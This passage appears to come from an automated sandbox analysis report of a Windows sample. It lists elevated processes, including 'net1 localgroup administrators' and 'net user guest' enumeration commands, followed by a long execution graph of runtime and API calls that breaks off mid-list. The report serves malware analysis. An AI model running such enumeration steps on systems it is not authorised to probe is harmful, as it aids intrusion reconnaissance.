                                                                                                                                                                                                                                    MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:74
                                                                                                                                                                                                                                    Start time:06:50:22
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\net1.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\net1 localgroup administrators
                                                                                                                                                                                                                                    Imagebase:0x7ff68a560000
                                                                                                                                                                                                                                    File size:183'808 bytes
                                                                                                                                                                                                                                    MD5 hash:55693DF2BB3CBE2899DFDDF18B4EB8C9
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:75
                                                                                                                                                                                                                                    Start time:06:50:22
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\net.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:net user guest
                                                                                                                                                                                                                                    Imagebase:0x7ff7e2f70000
                                                                                                                                                                                                                                    File size:59'904 bytes
                                                                                                                                                                                                                                    MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:96
                                                                                                                                                                                                                                    Start time:06:50:24
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:
                                                                                                                                                                                                                                    Has administrator privileges:
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:103
                                                                                                                                                                                                                                    Start time:06:50:25
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:
                                                                                                                                                                                                                                    Has administrator privileges:
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Disassembly

                                                                                                                                                                                                                                    Reset < >

                                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                                      Execution Coverage:12.3%
                                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                      Signature Coverage:20.6%
                                                                                                                                                                                                                                      Total number of Nodes:2000
                                                                                                                                                                                                                                      Total number of Limit Nodes:70
                                                                                                                                                                                                                                      execution_graph 19416 7ff6850d1ad0 19434 7ff6850d0cb8 EnterCriticalSection 19416->19434 15512 7ff6850c7e4c 15513 7ff6850c7eb3 15512->15513 15514 7ff6850c7e7a 15512->15514 15513->15514 15515 7ff6850c7eb8 FindFirstFileExW 15513->15515 15516 7ff6850c54c4 _get_daylight 11 API calls 15514->15516 15517 7ff6850c7f21 15515->15517 15518 7ff6850c7eda GetLastError 15515->15518 15519 7ff6850c7e7f 15516->15519 15572 7ff6850c80bc 15517->15572 15522 7ff6850c7f11 15518->15522 15523 7ff6850c7ee5 15518->15523 15520 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 15519->15520 15540 7ff6850c7e8a 15520->15540 15524 7ff6850c54c4 _get_daylight 11 API calls 15522->15524 15523->15522 15527 7ff6850c7f01 15523->15527 15528 7ff6850c7eef 15523->15528 15524->15540 15526 7ff6850c80bc _wfindfirst32i64 10 API calls 15530 7ff6850c7f47 15526->15530 15532 7ff6850c54c4 _get_daylight 11 API calls 15527->15532 15528->15522 15531 7ff6850c7ef4 15528->15531 15529 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15533 7ff6850c7e9e 15529->15533 15534 7ff6850c80bc _wfindfirst32i64 10 API calls 15530->15534 15535 7ff6850c54c4 _get_daylight 11 API calls 15531->15535 15532->15540 15536 7ff6850c7f55 15534->15536 15535->15540 15537 7ff6850d0e54 _wfindfirst32i64 37 API calls 15536->15537 15538 7ff6850c7f73 15537->15538 15539 7ff6850c7f7f 15538->15539 15538->15540 15541 7ff6850caec4 _wfindfirst32i64 17 API calls 15539->15541 15540->15529 15542 7ff6850c7f93 15541->15542 15543 7ff6850c7fbd 15542->15543 15546 7ff6850c7ffc FindNextFileW 15542->15546 15544 7ff6850c54c4 _get_daylight 11 API calls 15543->15544 15545 7ff6850c7fc2 15544->15545 15547 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 15545->15547 15548 7ff6850c804c 15546->15548 15549 7ff6850c800b GetLastError 15546->15549 15550 7ff6850c7fcd 15547->15550 15551 7ff6850c80bc _wfindfirst32i64 10 API calls 15548->15551 15552 7ff6850c803f 15549->15552 15553 7ff6850c8016 15549->15553 15556 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15550->15556 15555 7ff6850c8064 15551->15555 15554 7ff6850c54c4 _get_daylight 11 API calls 15552->15554 15553->15552 15558 7ff6850c8020 15553->15558 15559 7ff6850c8032 15553->15559 15554->15550 15557 7ff6850c80bc _wfindfirst32i64 10 API calls 15555->15557 15562 7ff6850c7fe0 15556->15562 15563 7ff6850c8072 15557->15563 15558->15552 15560 7ff6850c8025 15558->15560 15561 7ff6850c54c4 _get_daylight 11 API calls 15559->15561 15564 7ff6850c54c4 _get_daylight 11 API calls 15560->15564 15561->15550 15565 7ff6850c80bc _wfindfirst32i64 10 API calls 15563->15565 15564->15550 15566 7ff6850c8080 15565->15566 15567 7ff6850d0e54 _wfindfirst32i64 37 API calls 15566->15567 15568 7ff6850c809e 15567->15568 15568->15550 15569 7ff6850c80a6 15568->15569 15570 7ff6850caec4 _wfindfirst32i64 17 API calls 15569->15570 15571 7ff6850c80ba 15570->15571 15573 7ff6850c80d4 15572->15573 15574 7ff6850c80da FileTimeToSystemTime 15572->15574 15573->15574 15577 7ff6850c80ff 15573->15577 15575 7ff6850c80e9 SystemTimeToTzSpecificLocalTime 15574->15575 15574->15577 15575->15577 15576 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15578 7ff6850c7f39 15576->15578 15577->15576 15578->15526 15163 7ff6850bb240 15164 7ff6850bb26e 15163->15164 15165 7ff6850bb255 15163->15165 15165->15164 15168 7ff6850cdbbc 15165->15168 15169 7ff6850cdc07 15168->15169 15173 7ff6850cdbcb _get_daylight 15168->15173 15178 7ff6850c54c4 15169->15178 15170 7ff6850cdbee RtlAllocateHeap 15172 7ff6850bb2cc 15170->15172 15170->15173 15173->15169 15173->15170 15175 7ff6850d3c00 15173->15175 15181 7ff6850d3c40 15175->15181 15187 7ff6850cb888 GetLastError 15178->15187 15180 7ff6850c54cd 15180->15172 15186 7ff6850d0cb8 EnterCriticalSection 15181->15186 15188 7ff6850cb8c9 FlsSetValue 15187->15188 15192 7ff6850cb8ac 15187->15192 15189 7ff6850cb8db 15188->15189 15193 7ff6850cb8b9 SetLastError 15188->15193 15204 7ff6850cf158 15189->15204 15192->15188 15192->15193 15193->15180 15195 7ff6850cb908 FlsSetValue 15198 7ff6850cb914 FlsSetValue 15195->15198 15199 7ff6850cb926 15195->15199 15196 7ff6850cb8f8 FlsSetValue 15197 7ff6850cb901 15196->15197 15211 7ff6850caf0c 15197->15211 15198->15197 15217 7ff6850cb4b8 15199->15217 15209 7ff6850cf169 _get_daylight 15204->15209 15205 7ff6850cf1ba 15208 7ff6850c54c4 _get_daylight 10 API calls 15205->15208 15206 7ff6850cf19e RtlAllocateHeap 15207 7ff6850cb8ea 15206->15207 15206->15209 15207->15195 15207->15196 15208->15207 15209->15205 15209->15206 15210 7ff6850d3c00 _get_daylight 2 API calls 15209->15210 15210->15209 15212 7ff6850caf11 RtlRestoreThreadPreferredUILanguages 15211->15212 15216 7ff6850caf40 15211->15216 15213 7ff6850caf2c GetLastError 15212->15213 15212->15216 15214 7ff6850caf39 __free_lconv_mon 15213->15214 15215 7ff6850c54c4 _get_daylight 9 API calls 15214->15215 15215->15216 15216->15193 15222 7ff6850cb390 15217->15222 15234 7ff6850d0cb8 EnterCriticalSection 15222->15234 18610 7ff6850d0f38 18611 7ff6850d0f5c 18610->18611 18614 7ff6850d0f6c 18610->18614 18612 7ff6850c54c4 _get_daylight 11 API calls 18611->18612 18613 7ff6850d0f61 18612->18613 18615 7ff6850d124c 18614->18615 18616 7ff6850d0f8e 18614->18616 18617 7ff6850c54c4 _get_daylight 11 API calls 18615->18617 18618 7ff6850d0faf 18616->18618 18741 7ff6850d15f4 18616->18741 18619 7ff6850d1251 18617->18619 18622 7ff6850d1021 18618->18622 18624 7ff6850d0fd5 18618->18624 18629 7ff6850d1015 18618->18629 18621 7ff6850caf0c __free_lconv_mon 11 API calls 18619->18621 18621->18613 18626 7ff6850cf158 _get_daylight 11 API calls 18622->18626 18642 7ff6850d0fe4 18622->18642 18623 7ff6850d10ce 18632 7ff6850d10eb 18623->18632 18639 7ff6850d113d 18623->18639 18756 7ff6850c9c50 18624->18756 18630 7ff6850d1037 18626->18630 18628 7ff6850caf0c __free_lconv_mon 11 API calls 18628->18613 18629->18623 18629->18642 18762 7ff6850d79fc 18629->18762 18633 7ff6850caf0c __free_lconv_mon 11 API calls 18630->18633 18636 7ff6850caf0c __free_lconv_mon 11 API calls 18632->18636 18637 7ff6850d1045 18633->18637 18634 7ff6850d0fdf 18638 7ff6850c54c4 _get_daylight 11 API calls 18634->18638 18635 7ff6850d0ffd 18635->18629 18641 7ff6850d15f4 45 API calls 18635->18641 18640 7ff6850d10f4 18636->18640 18637->18629 18637->18642 18646 7ff6850cf158 _get_daylight 11 API calls 18637->18646 18638->18642 18639->18642 18643 7ff6850d3a4c 40 API calls 18639->18643 18644 7ff6850d10f9 18640->18644 18798 7ff6850d3a4c 18640->18798 18641->18629 18642->18628 18645 7ff6850d117a 18643->18645 18652 7ff6850d1240 18644->18652 18656 7ff6850cf158 _get_daylight 11 API calls 18644->18656 18647 7ff6850caf0c __free_lconv_mon 11 API calls 18645->18647 18649 7ff6850d1067 18646->18649 18651 7ff6850d1184 18647->18651 18650 7ff6850caf0c __free_lconv_mon 11 API calls 18649->18650 18650->18629 18651->18642 18651->18644 18654 7ff6850caf0c __free_lconv_mon 11 API calls 18652->18654 18653 7ff6850d1125 18655 7ff6850caf0c __free_lconv_mon 11 API calls 18653->18655 18654->18613 18655->18644 18657 7ff6850d11c8 18656->18657 18658 7ff6850d11d0 18657->18658 18659 7ff6850d11d9 18657->18659 18661 7ff6850caf0c __free_lconv_mon 11 API calls 18658->18661 18660 7ff6850caa3c __std_exception_copy 37 API calls 18659->18660 18662 7ff6850d11e8 18660->18662 18663 7ff6850d11d7 18661->18663 18664 7ff6850d11f0 18662->18664 18665 7ff6850d127b 18662->18665 18668 7ff6850caf0c __free_lconv_mon 11 API calls 18663->18668 18807 7ff6850d7b14 18664->18807 18667 7ff6850caec4 _wfindfirst32i64 17 API calls 18665->18667 18670 7ff6850d128f 18667->18670 18668->18613 18673 7ff6850d12b8 18670->18673 18678 7ff6850d12c8 18670->18678 18671 7ff6850d1217 18674 7ff6850c54c4 _get_daylight 11 API calls 18671->18674 18672 7ff6850d1238 18676 7ff6850caf0c __free_lconv_mon 11 API calls 18672->18676 18675 7ff6850c54c4 _get_daylight 11 API calls 18673->18675 18677 7ff6850d121c 18674->18677 18700 7ff6850d12bd 18675->18700 18676->18652 18680 7ff6850caf0c __free_lconv_mon 11 API calls 18677->18680 18679 7ff6850d15ab 18678->18679 18681 7ff6850d12ea 18678->18681 18682 7ff6850c54c4 _get_daylight 11 API calls 18679->18682 18680->18663 18683 7ff6850d1307 18681->18683 18826 7ff6850d16dc 18681->18826 18684 7ff6850d15b0 18682->18684 18687 7ff6850d137b 18683->18687 18689 7ff6850d132f 18683->18689 18695 7ff6850d136f 18683->18695 18686 7ff6850caf0c __free_lconv_mon 11 API calls 18684->18686 18686->18700 18691 7ff6850d13a3 18687->18691 18696 7ff6850cf158 _get_daylight 11 API calls 18687->18696 18711 7ff6850d133e 18687->18711 18688 7ff6850d142e 18698 7ff6850d144b 18688->18698 18708 7ff6850d149e 18688->18708 18841 7ff6850c9c8c 18689->18841 18693 7ff6850cf158 _get_daylight 11 API calls 18691->18693 18691->18695 18691->18711 18699 7ff6850d13c5 18693->18699 18694 7ff6850caf0c __free_lconv_mon 11 API calls 18694->18700 18695->18688 18695->18711 18847 7ff6850d78bc 18695->18847 18701 7ff6850d1395 18696->18701 18704 7ff6850caf0c __free_lconv_mon 11 API calls 18698->18704 18705 7ff6850caf0c __free_lconv_mon 11 API calls 18699->18705 18706 7ff6850caf0c __free_lconv_mon 11 API calls 18701->18706 18702 7ff6850d1357 18702->18695 18710 7ff6850d16dc 45 API calls 18702->18710 18703 7ff6850d1339 18707 7ff6850c54c4 _get_daylight 11 API calls 18703->18707 18709 7ff6850d1454 18704->18709 18705->18695 18706->18691 18707->18711 18708->18711 18712 7ff6850d3a4c 40 API calls 18708->18712 18715 7ff6850d3a4c 40 API calls 18709->18715 18718 7ff6850d145a 18709->18718 18710->18695 18711->18694 18713 7ff6850d14dc 18712->18713 18714 7ff6850caf0c __free_lconv_mon 11 API calls 18713->18714 18716 7ff6850d14e6 18714->18716 18719 7ff6850d1486 18715->18719 18716->18711 18716->18718 18717 7ff6850d159f 18720 7ff6850caf0c __free_lconv_mon 11 API calls 18717->18720 18718->18717 18722 7ff6850cf158 _get_daylight 11 API calls 18718->18722 18721 7ff6850caf0c __free_lconv_mon 11 API calls 18719->18721 18720->18700 18721->18718 18723 7ff6850d152b 18722->18723 18724 7ff6850d1533 18723->18724 18725 7ff6850d153c 18723->18725 18726 7ff6850caf0c __free_lconv_mon 11 API calls 18724->18726 18727 7ff6850d0e54 _wfindfirst32i64 37 API calls 18725->18727 18728 7ff6850d153a 18726->18728 18729 7ff6850d154a 18727->18729 18735 7ff6850caf0c __free_lconv_mon 11 API calls 18728->18735 18730 7ff6850d1552 SetEnvironmentVariableW 18729->18730 18731 7ff6850d15df 18729->18731 18732 7ff6850d1576 18730->18732 18733 7ff6850d1597 18730->18733 18734 7ff6850caec4 _wfindfirst32i64 17 API calls 18731->18734 18736 7ff6850c54c4 _get_daylight 11 API calls 18732->18736 18738 7ff6850caf0c __free_lconv_mon 11 API calls 18733->18738 18737 7ff6850d15f3 18734->18737 18735->18700 18739 7ff6850d157b 18736->18739 18738->18717 18740 7ff6850caf0c __free_lconv_mon 11 API calls 18739->18740 18740->18728 18742 7ff6850d1611 18741->18742 18743 7ff6850d1629 18741->18743 18742->18618 18744 7ff6850cf158 _get_daylight 11 API calls 18743->18744 18750 7ff6850d164d 18744->18750 18745 7ff6850caa9c __CxxCallCatchBlock 45 API calls 18747 7ff6850d16d8 18745->18747 18746 7ff6850d16ae 18748 7ff6850caf0c __free_lconv_mon 11 API calls 18746->18748 18748->18742 18749 7ff6850cf158 _get_daylight 11 API calls 18749->18750 18750->18746 18750->18749 18751 7ff6850caf0c __free_lconv_mon 11 API calls 18750->18751 18752 7ff6850caa3c __std_exception_copy 37 API calls 18750->18752 18753 7ff6850d16bd 18750->18753 18755 7ff6850d16d2 18750->18755 18751->18750 18752->18750 18754 7ff6850caec4 _wfindfirst32i64 17 API calls 18753->18754 18754->18755 18755->18745 18757 7ff6850c9c60 18756->18757 18758 7ff6850c9c69 18756->18758 18757->18758 18871 7ff6850c9728 18757->18871 18758->18634 18758->18635 18763 7ff6850d6bac 18762->18763 18764 7ff6850d7a09 18762->18764 18765 7ff6850d6bb9 18763->18765 18772 7ff6850d6bef 18763->18772 18766 7ff6850c4f98 45 API calls 18764->18766 18769 7ff6850c54c4 _get_daylight 11 API calls 18765->18769 18782 7ff6850d6b60 18765->18782 18768 7ff6850d7a3d 18766->18768 18767 7ff6850d6c19 18770 7ff6850c54c4 _get_daylight 11 API calls 18767->18770 18771 7ff6850d7a42 18768->18771 18775 7ff6850d7a53 18768->18775 18779 7ff6850d7a6a 18768->18779 18773 7ff6850d6bc3 18769->18773 18774 7ff6850d6c1e 18770->18774 18771->18629 18772->18767 18776 7ff6850d6c3e 18772->18776 18777 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 18773->18777 18778 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 18774->18778 18780 7ff6850c54c4 _get_daylight 11 API calls 18775->18780 18784 7ff6850c4f98 45 API calls 18776->18784 18790 7ff6850d6c29 18776->18790 18781 7ff6850d6bce 18777->18781 18778->18790 18785 7ff6850d7a74 18779->18785 18786 7ff6850d7a86 18779->18786 18783 7ff6850d7a58 18780->18783 18781->18629 18782->18629 18789 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 18783->18789 18784->18790 18791 7ff6850c54c4 _get_daylight 11 API calls 18785->18791 18787 7ff6850d7aae 18786->18787 18788 7ff6850d7a97 18786->18788 19097 7ff6850d9824 18787->19097 19088 7ff6850d6bfc 18788->19088 18789->18771 18790->18629 18794 7ff6850d7a79 18791->18794 18796 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 18794->18796 18796->18771 18797 7ff6850c54c4 _get_daylight 11 API calls 18797->18771 18799 7ff6850d3a6e 18798->18799 18800 7ff6850d3a8b 18798->18800 18799->18800 18801 7ff6850d3a7c 18799->18801 18802 7ff6850d3a95 18800->18802 19137 7ff6850d8508 18800->19137 18803 7ff6850c54c4 _get_daylight 11 API calls 18801->18803 19144 7ff6850d0ebc 18802->19144 18805 7ff6850d3a81 memcpy_s 18803->18805 18805->18653 18808 7ff6850c4f98 45 API calls 18807->18808 18809 7ff6850d7b7a 18808->18809 18810 7ff6850d7b88 18809->18810 18811 7ff6850cf3e4 5 API calls 18809->18811 18812 7ff6850c5584 14 API calls 18810->18812 18811->18810 18813 7ff6850d7be4 18812->18813 18814 7ff6850d7c74 18813->18814 18815 7ff6850c4f98 45 API calls 18813->18815 18817 7ff6850caf0c __free_lconv_mon 11 API calls 18814->18817 18819 7ff6850d7c85 18814->18819 18816 7ff6850d7bf7 18815->18816 18820 7ff6850cf3e4 5 API calls 18816->18820 18822 7ff6850d7c00 18816->18822 18817->18819 18818 7ff6850d1213 18818->18671 18818->18672 18819->18818 18821 7ff6850caf0c __free_lconv_mon 11 API calls 18819->18821 18820->18822 18821->18818 18823 7ff6850c5584 14 API calls 18822->18823 18824 7ff6850d7c5b 18823->18824 18824->18814 18825 7ff6850d7c63 SetEnvironmentVariableW 18824->18825 18825->18814 18827 7ff6850d16ff 18826->18827 18828 7ff6850d171c 18826->18828 18827->18683 18829 7ff6850cf158 _get_daylight 11 API calls 18828->18829 18830 7ff6850d1740 18829->18830 18831 7ff6850d17a1 18830->18831 18835 7ff6850cf158 _get_daylight 11 API calls 18830->18835 18836 7ff6850caf0c __free_lconv_mon 11 API calls 18830->18836 18837 7ff6850d0e54 _wfindfirst32i64 37 API calls 18830->18837 18838 7ff6850d17b0 18830->18838 18840 7ff6850d17c4 18830->18840 18834 7ff6850caf0c __free_lconv_mon 11 API calls 18831->18834 18832 7ff6850caa9c __CxxCallCatchBlock 45 API calls 18833 7ff6850d17ca 18832->18833 18834->18827 18835->18830 18836->18830 18837->18830 18839 7ff6850caec4 _wfindfirst32i64 17 API calls 18838->18839 18839->18840 18840->18832 18842 7ff6850c9ca5 18841->18842 18843 7ff6850c9c9c 18841->18843 18842->18702 18842->18703 18843->18842 18844 7ff6850c979c 40 API calls 18843->18844 18845 7ff6850c9cae 18844->18845 18845->18842 18846 7ff6850c9b5c 12 API calls 18845->18846 18846->18842 18848 7ff6850d78c9 18847->18848 18853 7ff6850d78f6 18847->18853 18849 7ff6850d78ce 18848->18849 18848->18853 18850 7ff6850c54c4 _get_daylight 11 API calls 18849->18850 18852 7ff6850d78d3 18850->18852 18851 7ff6850d793a 18854 7ff6850c54c4 _get_daylight 11 API calls 18851->18854 18856 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 18852->18856 18853->18851 18855 7ff6850d7959 18853->18855 18869 7ff6850d792e __crtLCMapStringW 18853->18869 18857 7ff6850d793f 18854->18857 18858 7ff6850d7963 18855->18858 18859 7ff6850d7975 18855->18859 18860 7ff6850d78de 18856->18860 18862 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 18857->18862 18863 7ff6850c54c4 _get_daylight 11 API calls 18858->18863 18861 7ff6850c4f98 45 API calls 18859->18861 18860->18695 18864 7ff6850d7982 18861->18864 18862->18869 18865 7ff6850d7968 18863->18865 18864->18869 19156 7ff6850d93e0 18864->19156 18866 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 18865->18866 18866->18869 18869->18695 18870 7ff6850c54c4 _get_daylight 11 API calls 18870->18869 18872 7ff6850c9741 18871->18872 18873 7ff6850c973d 18871->18873 18894 7ff6850d2c60 18872->18894 18873->18758 18886 7ff6850c9a7c 18873->18886 18878 7ff6850c9753 18880 7ff6850caf0c __free_lconv_mon 11 API calls 18878->18880 18879 7ff6850c975f 18920 7ff6850c980c 18879->18920 18880->18873 18883 7ff6850caf0c __free_lconv_mon 11 API calls 18884 7ff6850c9786 18883->18884 18885 7ff6850caf0c __free_lconv_mon 11 API calls 18884->18885 18885->18873 18887 7ff6850c9aa5 18886->18887 18890 7ff6850c9abe 18886->18890 18887->18758 18888 7ff6850d04c8 WideCharToMultiByte 18888->18890 18889 7ff6850cf158 _get_daylight 11 API calls 18889->18890 18890->18887 18890->18888 18890->18889 18891 7ff6850c9b4e 18890->18891 18893 7ff6850caf0c __free_lconv_mon 11 API calls 18890->18893 18892 7ff6850caf0c __free_lconv_mon 11 API calls 18891->18892 18892->18887 18893->18890 18895 7ff6850d2c6d 18894->18895 18896 7ff6850c9746 18894->18896 18939 7ff6850cb7e4 18895->18939 18900 7ff6850d2f9c GetEnvironmentStringsW 18896->18900 18901 7ff6850d2fcc 18900->18901 18902 7ff6850c974b 18900->18902 18903 7ff6850d04c8 WideCharToMultiByte 18901->18903 18902->18878 18902->18879 18904 7ff6850d301d 18903->18904 18905 7ff6850d3024 FreeEnvironmentStringsW 18904->18905 18906 7ff6850cdbbc _fread_nolock 12 API calls 18904->18906 18905->18902 18907 7ff6850d3037 18906->18907 18908 7ff6850d303f 18907->18908 18909 7ff6850d3048 18907->18909 18910 7ff6850caf0c __free_lconv_mon 11 API calls 18908->18910 18911 7ff6850d04c8 WideCharToMultiByte 18909->18911 18912 7ff6850d3046 18910->18912 18913 7ff6850d306b 18911->18913 18912->18905 18914 7ff6850d306f 18913->18914 18915 7ff6850d3079 18913->18915 18916 7ff6850caf0c __free_lconv_mon 11 API calls 18914->18916 18917 7ff6850caf0c __free_lconv_mon 11 API calls 18915->18917 18918 7ff6850d3077 FreeEnvironmentStringsW 18916->18918 18917->18918 18918->18902 18921 7ff6850c9831 18920->18921 18922 7ff6850cf158 _get_daylight 11 API calls 18921->18922 18933 7ff6850c9867 18922->18933 18923 7ff6850c986f 18924 7ff6850caf0c __free_lconv_mon 11 API calls 18923->18924 18925 7ff6850c9767 18924->18925 18925->18883 18926 7ff6850c98e2 18927 7ff6850caf0c __free_lconv_mon 11 API calls 18926->18927 18927->18925 18928 7ff6850cf158 _get_daylight 11 API calls 18928->18933 18929 7ff6850c98d1 18931 7ff6850c9a38 11 API calls 18929->18931 18930 7ff6850caa3c __std_exception_copy 37 API calls 18930->18933 18932 7ff6850c98d9 18931->18932 18935 7ff6850caf0c __free_lconv_mon 11 API calls 18932->18935 18933->18923 18933->18926 18933->18928 18933->18929 18933->18930 18934 7ff6850c9907 18933->18934 18937 7ff6850caf0c __free_lconv_mon 11 API calls 18933->18937 18936 7ff6850caec4 _wfindfirst32i64 17 API calls 18934->18936 18935->18923 18938 7ff6850c991a 18936->18938 18937->18933 18940 7ff6850cb7f5 FlsGetValue 18939->18940 18941 7ff6850cb810 FlsSetValue 18939->18941 18942 7ff6850cb802 18940->18942 18943 7ff6850cb80a 18940->18943 18941->18942 18944 7ff6850cb81d 18941->18944 18945 7ff6850cb808 18942->18945 18946 7ff6850caa9c __CxxCallCatchBlock 45 API calls 18942->18946 18943->18941 18947 7ff6850cf158 _get_daylight 11 API calls 18944->18947 18959 7ff6850d2934 18945->18959 18948 7ff6850cb885 18946->18948 18949 7ff6850cb82c 18947->18949 18950 7ff6850cb84a FlsSetValue 18949->18950 18951 7ff6850cb83a FlsSetValue 18949->18951 18953 7ff6850cb856 FlsSetValue 18950->18953 18954 7ff6850cb868 18950->18954 18952 7ff6850cb843 18951->18952 18955 7ff6850caf0c __free_lconv_mon 11 API calls 18952->18955 18953->18952 18956 7ff6850cb4b8 _get_daylight 11 API calls 18954->18956 18955->18942 18957 7ff6850cb870 18956->18957 18958 7ff6850caf0c __free_lconv_mon 11 API calls 18957->18958 18958->18945 18982 7ff6850d2ba4 18959->18982 18961 7ff6850d2969 18997 7ff6850d2634 18961->18997 18964 7ff6850d2986 18964->18896 18965 7ff6850cdbbc _fread_nolock 12 API calls 18966 7ff6850d2997 18965->18966 18967 7ff6850d299f 18966->18967 18969 7ff6850d29ae 18966->18969 18968 7ff6850caf0c __free_lconv_mon 11 API calls 18967->18968 18968->18964 18969->18969 19004 7ff6850d2cdc 18969->19004 18972 7ff6850d2aaa 18973 7ff6850c54c4 _get_daylight 11 API calls 18972->18973 18974 7ff6850d2aaf 18973->18974 18976 7ff6850caf0c __free_lconv_mon 11 API calls 18974->18976 18975 7ff6850d2b05 18978 7ff6850d2b6c 18975->18978 19015 7ff6850d2464 18975->19015 18976->18964 18977 7ff6850d2ac4 18977->18975 18980 7ff6850caf0c __free_lconv_mon 11 API calls 18977->18980 18979 7ff6850caf0c __free_lconv_mon 11 API calls 18978->18979 18979->18964 18980->18975 18983 7ff6850d2bc7 18982->18983 18985 7ff6850d2bd1 18983->18985 19030 7ff6850d0cb8 EnterCriticalSection 18983->19030 18987 7ff6850d2c43 18985->18987 18989 7ff6850caa9c __CxxCallCatchBlock 45 API calls 18985->18989 18987->18961 18991 7ff6850d2c5b 18989->18991 18992 7ff6850d2cb2 18991->18992 18994 7ff6850cb7e4 50 API calls 18991->18994 18992->18961 18995 7ff6850d2c9c 18994->18995 18996 7ff6850d2934 65 API calls 18995->18996 18996->18992 18998 7ff6850c4f98 45 API calls 18997->18998 18999 7ff6850d2648 18998->18999 19000 7ff6850d2654 GetOEMCP 18999->19000 19001 7ff6850d2666 18999->19001 19003 7ff6850d267b 19000->19003 19002 7ff6850d266b GetACP 19001->19002 19001->19003 19002->19003 19003->18964 19003->18965 19005 7ff6850d2634 47 API calls 19004->19005 19006 7ff6850d2d09 19005->19006 19007 7ff6850d2e5f 19006->19007 19009 7ff6850d2d46 IsValidCodePage 19006->19009 19014 7ff6850d2d60 memcpy_s 19006->19014 19008 7ff6850bbcc0 _wfindfirst32i64 8 API calls 19007->19008 19010 7ff6850d2aa1 19008->19010 19009->19007 19011 7ff6850d2d57 19009->19011 19010->18972 19010->18977 19012 7ff6850d2d86 GetCPInfo 19011->19012 19011->19014 19012->19007 19012->19014 19031 7ff6850d274c 19014->19031 19087 7ff6850d0cb8 EnterCriticalSection 19015->19087 19032 7ff6850d2789 GetCPInfo 19031->19032 19033 7ff6850d287f 19031->19033 19032->19033 19038 7ff6850d279c 19032->19038 19034 7ff6850bbcc0 _wfindfirst32i64 8 API calls 19033->19034 19035 7ff6850d291e 19034->19035 19035->19007 19036 7ff6850d34b0 48 API calls 19037 7ff6850d2813 19036->19037 19042 7ff6850d8454 19037->19042 19038->19036 19041 7ff6850d8454 54 API calls 19041->19033 19043 7ff6850c4f98 45 API calls 19042->19043 19044 7ff6850d8479 19043->19044 19047 7ff6850d8120 19044->19047 19048 7ff6850d8161 19047->19048 19049 7ff6850cfc00 _fread_nolock MultiByteToWideChar 19048->19049 19052 7ff6850d81ab 19049->19052 19050 7ff6850d8429 19051 7ff6850bbcc0 _wfindfirst32i64 8 API calls 19050->19051 19053 7ff6850d2846 19051->19053 19052->19050 19054 7ff6850cdbbc _fread_nolock 12 API calls 19052->19054 19056 7ff6850d81e3 19052->19056 19066 7ff6850d82e1 19052->19066 19053->19041 19054->19056 19055 7ff6850caf0c __free_lconv_mon 11 API calls 19055->19050 19057 7ff6850cfc00 _fread_nolock MultiByteToWideChar 19056->19057 19056->19066 19058 7ff6850d8256 19057->19058 19058->19066 19078 7ff6850cf5a4 19058->19078 19061 7ff6850d82f2 19063 7ff6850d83c4 19061->19063 19064 7ff6850cdbbc _fread_nolock 12 API calls 19061->19064 19068 7ff6850d8310 19061->19068 19062 7ff6850d82a1 19065 7ff6850cf5a4 